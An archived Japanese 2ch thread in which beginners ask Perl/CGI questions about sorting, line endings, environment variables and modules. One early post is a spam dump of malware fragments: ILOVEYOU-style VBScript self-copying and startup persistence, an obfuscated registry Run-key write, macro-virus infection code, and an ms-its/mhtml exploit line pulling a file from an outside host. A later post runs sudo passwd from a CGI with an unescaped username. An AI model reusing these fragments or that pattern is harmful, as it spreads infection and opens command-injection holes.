くだすれPerl(超初心者用)
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2006/09/10(日) 13:33:48ID:???もしくは質問者自身何が何だが分からない質問を勇気を持って書き込むスレッドです。
Perl使いが優しくコメントを返しますが、
お礼はPerlの布教と初心者の救済をお願いします。
0002nobodyさん
2006/09/10(日) 15:19:50ID:???If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "/" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
クソスレ立てんな
0005番組の途中ですが名無しです
2006/09/14(木) 08:48:47ID:???何を?
0006nobodyさん
2006/09/14(木) 19:58:38ID:xO9EEAPT自分のパソコン上でwebサーバーソフトを動かして、通信実験にも成功して
います。あとは、実際にレンタルサーバーを借りて、ネット上にアップするだ
けです。
ただ、CGIを介してデータをやり取りするので、データ更新が行われるのを
確認するため、定期的にwebサーバーに接続しなければなりません。これっ
て、やっぱり、結構サーバーに負荷をかけることでしょうか?
ロビーCGIは200行にも満たないプログラムで、参加者リストの管理と、
クライアント同士のゲームデータ(オセロですから、お互いに置いた石の位置
情報)のやり取りだけで、判定やルールなどゲーム本体のプログラムは全部ク
ライアントで処理します。CGIに接続するタイミングはロビーでは10秒お
き、ゲーム中は1〜2秒おきを予定してます。
cgiが置ける格安か無料サーバーに置いて、通信対戦ゲームを実現したいで
すが、このシステムでは、サーバーの負荷で設置は難しいでしょうか?
本当に、超初心者のくだすれですみませんが、どうか教えてください。
0007nobodyさん
2006/09/15(金) 02:27:16ID:???1秒おきに取りに行くとして一人ぶんのリクエストが86400リクエスト/日
全体で*平均対戦者数。
通常のhtmlで、たとえば1ページに画像やスクリプトが20個くらい張り付い
てると1ページで20リクエスト。4320ページ/日でリクエスト数は同じ。
そういうことだ。
0008nobodyさん
2006/09/15(金) 23:00:37ID:CWad1meVたた、タスクマネージャーを見ても、どこをどう見ればいいのかよく分かりま
せん。本当に超初心者で、よくわかんないのです。
リクエスト数の多さから、やっぱり設置は難しいのでしょうか。サーバー側
ではほとんど計算せず、小さなデータをやり取りしているだけなんですが・・・。
せっかく作ったので、何とかして設置したいです。
一般的なCGIゲームのリロードの間隔ってどれぐらいでしょうか?
0009nobodyさん
2006/09/15(金) 23:46:30ID:colQZo5x0010nobodyさん
2006/09/18(月) 22:10:17ID:fB7/mMBTお願いします
0011nobodyさん
2006/09/23(土) 23:15:26ID:ItJcA2cD【すぐわかるPerlのP.182】
sort{$a cmp $b} 対象の配列
sort{$b cmp $a} 対象の配列
sort{$a <=> $b} 対象の配列
sort{$b <=> $a} 対象の配列
{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます
と、言う部分なのですが、
値が等しければとか、大きければってどういう事なんですか?
$aや$bにはどんな(何の)値が入るのですか?
そもそも、値が大きい順に並ぶとか小さい順に並ぶとか
それらの値というのが、ソートされる側のファイルや配列の中に入っているレコードであるとして、
$aと$bで、昇順か降順かを判断するのなら、$aの値が$bの値よりも大きい場合、なんてありえないはずですよね?
0012nobodyさん
2006/09/24(日) 00:29:10ID:???@foo = sort { $a cmp $b } @hoge;
foreach (@foo) { print $_, "\n"; }
0014nobodyさん
2006/09/24(日) 17:12:23ID:tF4Ji0QVパスワード変更に使用するpasswdコマンドは対話型ですが、
スクリプトで実行するにはどのように書けば良いでしょうか?
以下を組みあわせて作りたいのですが。
$crypt_password
system("passwd $username");
よろしくお願いします。
001514
2006/09/24(日) 18:24:23ID:???ttp://search.luky.org/fol.2001/msg00436.html
$crypt_pass = crypt($password,"AB");
$chgpw_cmd = <<"EOF";
sudo /usr/bin/passwd $username
$crypt_pass
$crypt_pass
EOF
system("$chgpw_cmd");
結果、以下のエラーが表示されます
Error message:
malformed header from script. Bad header=Changing password for user $username
Error 500
どのように書き換えれば動くのでしょうか。
よろしくお願いします。
0016nobodyさん
2006/09/25(月) 00:15:33ID:???001711
2006/09/25(月) 17:41:25ID:V/IIhk9y?
>>13
わかりますよ。
ファイル内のレコードを、文字列や数値の大きい順、または小さい順に並べ替える事ですよね
0018nobodyさん
2006/09/26(火) 06:02:57ID:???そもそも「ファイル内のレコード」とか造語使って話されてもな。
$a <=> $bが数値の昇順、$b <=> $aが数値の逆順
sort{$a cmp $b} 対象の配列 は
sort 対象の配列 と同じで文字列の昇順
{$b cmp $a} が文字列の逆順
これを理解してるのか?
って聞かれてる
ソートの語意を知ってるか聞いてるわけじゃない。
001911
2006/09/26(火) 18:56:12ID:QXj/N9Vsそれは理解してますよ。
「レコード」というのは、ファイル内の改行までの1段落を「レコード」と呼ぶそうです。
本にそう書いてあったので。
{$b cmp $a}にしても、値の大きさで言うなら$b>$aですよね
だから、昇順にソートしたければ$aを左辺に
降順にしたければ$bを左辺にするわけで
なのに、入門書の説明では
『{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます』
と
$a<$bであるのだから、『$aが大きければ』なんて状況自体がそもそもありえないのではないでしょうか?
そこら辺で、自分はこの入門書の説明が理解できずに行き詰ってますm(_ _)m
0020nobodyさん
2006/09/26(火) 22:45:11ID:???my @sorted = sort {
print $a . "\t" . $b . "\n" ;
$a <=> $b
} qw( 5 10 3 5 4 2 1 ) ;
少くとも $a < $b なんて確定ではないことは明白。
ttp://www.ics.kagoshima-u.ac.jp/~fuchida/edu/algorithm/sort-algorithm/merge-sort.html
ここ読め。perl 5.8 以降の sort のアルゴリズムだ。
0021nobodyさん
2006/09/26(火) 23:48:31ID:8QEjX/wi直接ログファイルを見たのですがencryptで暗号化されています。
これって復元はできないので、教えることは出来ないのでしょうか?
0022nobodyさん
2006/09/27(水) 00:40:05ID:???ログファイルを直接書き換える事で任意のパスワードに変更する事はできる。
試しに適当なパスワードを付けたダミー投稿をやってみて暗号化後の文字列を確認し、
ログファイルの該当部分を書き換えてうp→新しいパスワードを通知でどうかな。
0024nobodyさん
2006/10/12(木) 00:21:32ID:Gn08F8cOたとえは、
$data[0]="\n";
$data[1]="\n";
$data[2]="ななしさん\n";
$data[3]="\n";
$data[4]="としあき\n";
として
print @data;
としたら、クライアント側では
ななしさん
としあき
と、受け取るようにしたいです。
で、自分のwindowsのパソコンでサーバーソフトのapacheを立ち上げて、ローカルで試した時はうまく行きますが、レンタルサーバ上では、"\n"は改行せず、初めから無いことになって、
ななしさんとしあき
となってしまいます。
perlを始めて3ヶ月で、いろいろ検索したのですか、よく分かりません。
どうか、改行する方法を教えてください。
0025nobodyさん
2006/10/12(木) 00:42:24ID:???002624
2006/10/12(木) 07:47:06ID:ECd/ht+A早速の返答ありがとうございます。
もう少し詳しく書かなければいけなかったのですが、cgi送られたデータはプラウザで受け取るのではなくて、HSPで作ったクライアントソフトで受け取ります。
このように、改行を含め、横一列づつに区切られた文字列型のデータはHSPのクライアント側で「ノートパッド命令」というのを使ってデータを加工したいのです。
プラウザじゃないですから、<BR>では改行できませんし、またデータが繋がったままだと、ノートパッド命令が使えず、データは加工できないのです。
自分のパソコンでサーバーソフトを立ち上げ、ローカルで試した時はうまくいくのに、レンタルサーバにあげたとたんうまく行きません。
この違いは、osのせいなのか、ネット上にあげたせいなのか、よく分かりません。
わかる人がいましたら、どうか教えてください。
0027nobodyさん
2006/10/12(木) 13:40:15ID:???改行コードはOS依存
HSPはWindowsアプリだから、改行コードがWindows固定なんじゃないかね?
Windowsは\x0d\x0aでUnix系は\x0aなので、\x0dを付け足してみたら?
0028nobodyさん
2006/10/12(木) 13:41:02ID:???レンタルサーバーがWindowsじゃなければ、の話。
0029nobodyさん
2006/10/12(木) 22:06:48ID:bEOo1KBwCPANってゆーの入れてみたんですけど
その後どうするのでしょうか?
003024
2006/10/12(木) 22:59:42ID:D35FP/7g返答ありがとうございます。
まだ試してはいませんが、原因は多分これです。
レンタルサーバのOSはUnixですし、自分のwindowsパソコンで、ローカルで試した時はちゃんと動作しましたし・・・。
早速perlを書き直します。
本当にありがとうございます。
0031nobodyさん
2006/10/12(木) 23:36:42ID:???モジュールがどういったものか理解してるのかな?
とりあえず、そのキーワードでググって一通り目を通してきてください。
003229
2006/10/14(土) 16:27:10ID:5AFK7g0oううう だいたい理解しているつもりなのですが、、、
CGI_Liteを使っている所では下記のようにでるのですが
これってうまくCGI_liteがインストールされていないということでしょうか?
[hoge@localhost member]# perl detail.cgi
Can't locate hogehogeLib.pl in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.6/i386-linux-thread-multi (略)/usr/lib/perl5/5.8.6 .) at detail.cgi line 2.
ご助力いただけますとありがたいです。
0033nobodyさん
2006/10/14(土) 16:33:46ID:???003424
2006/10/15(日) 00:08:41ID:YK613lYVださい。
自宅のwindowsパソコンでサーバソフトを動かし、ローカルで接続している時
は、環境変数HTTP_User_Agentを受け取ってくれますが、unixのレンタル
サーバー上では、HTTP_User_Agentを受け取ってくれません。
改行コードのようにOSで違いがあるのかもしれませんが、HSPクライアント
のHTTPヘッダーの記述がただしいから、サーバーに接続できるし、CGIにデー
タをちゃんと送れていると思います。
HTTP_User_Agent以外の環境変数、REMOTE_ADDRやREMOTE_HOSTはちゃんと受け
取っています。もちろん、POSTで送信したデータは、CONTENT_LENGTHに入って
います。
なぜかHTTP_User_Agentだけ、ネット上においてあるunixのレンタルサーバーに
情報が入ってきません。
もし原因が分かる方がおりましたら、どうか教えてください。
0035nobodyさん
2006/10/15(日) 00:17:49ID:???003624
2006/10/15(日) 10:44:12ID:sPLkCqaFwindowsでは、使っているクライアントやプラウザを知る環境変数は
「HTTP_User_Agent」でも動きますが、unixでは「HTTP_USER_AGENT」と
ちゃんと書かないとダメみたいです。
大文字と小文字だけで、大きな違いです。
>>35さん書き込みありがとうございます。
本当に大変お騒がせしました。
0037nobodyさん
2006/10/16(月) 16:10:49ID:1+lDbjJHdat取得するまではなんとかわかるのですが……、参考になるサイトなどはありませんか?
0039nobodyさん
2006/10/26(木) 08:21:44ID:???0041nobodyさん
2006/10/26(木) 10:32:06ID:???ローカルで結果を何回も出力させていっても自分がパンクしそうなので自動化しようと思った次第です
0043nobodyさん
2006/10/26(木) 16:14:52ID:???基本的に2chは容易に荒らしツールに転用でき得る外部からの書き込みには厳しいし
それがperlスクリプトと来てはなおさらだろう。
rep2みたいに何とかやってのけた例はあるけど(まああれはPHPだが)あれも
FOXに荒らし専用ツールと勘違いされて一時期えらい事になっていたし、
やるならdatから必要なIDをまとめて所得して処理を行い、
後はコピペするのみの形に整形したテキストを出力するスクリプトに留めた方が良いと思うよ。
0044nobodyさん
2006/10/26(木) 16:45:14ID:???0045nobodyさん
2006/10/26(木) 22:03:37ID:???ここに質問するまではそれをベースに作っていたんですが、楽にできないものかと……。
勘違いされると確かにまずいですよね、保守ツールだったらよく見かけるんですけど……。
>Perlの2ch書き込みソフト
ありがとうございます、早速探してみます。
■ このスレッドは過去ログ倉庫に格納されています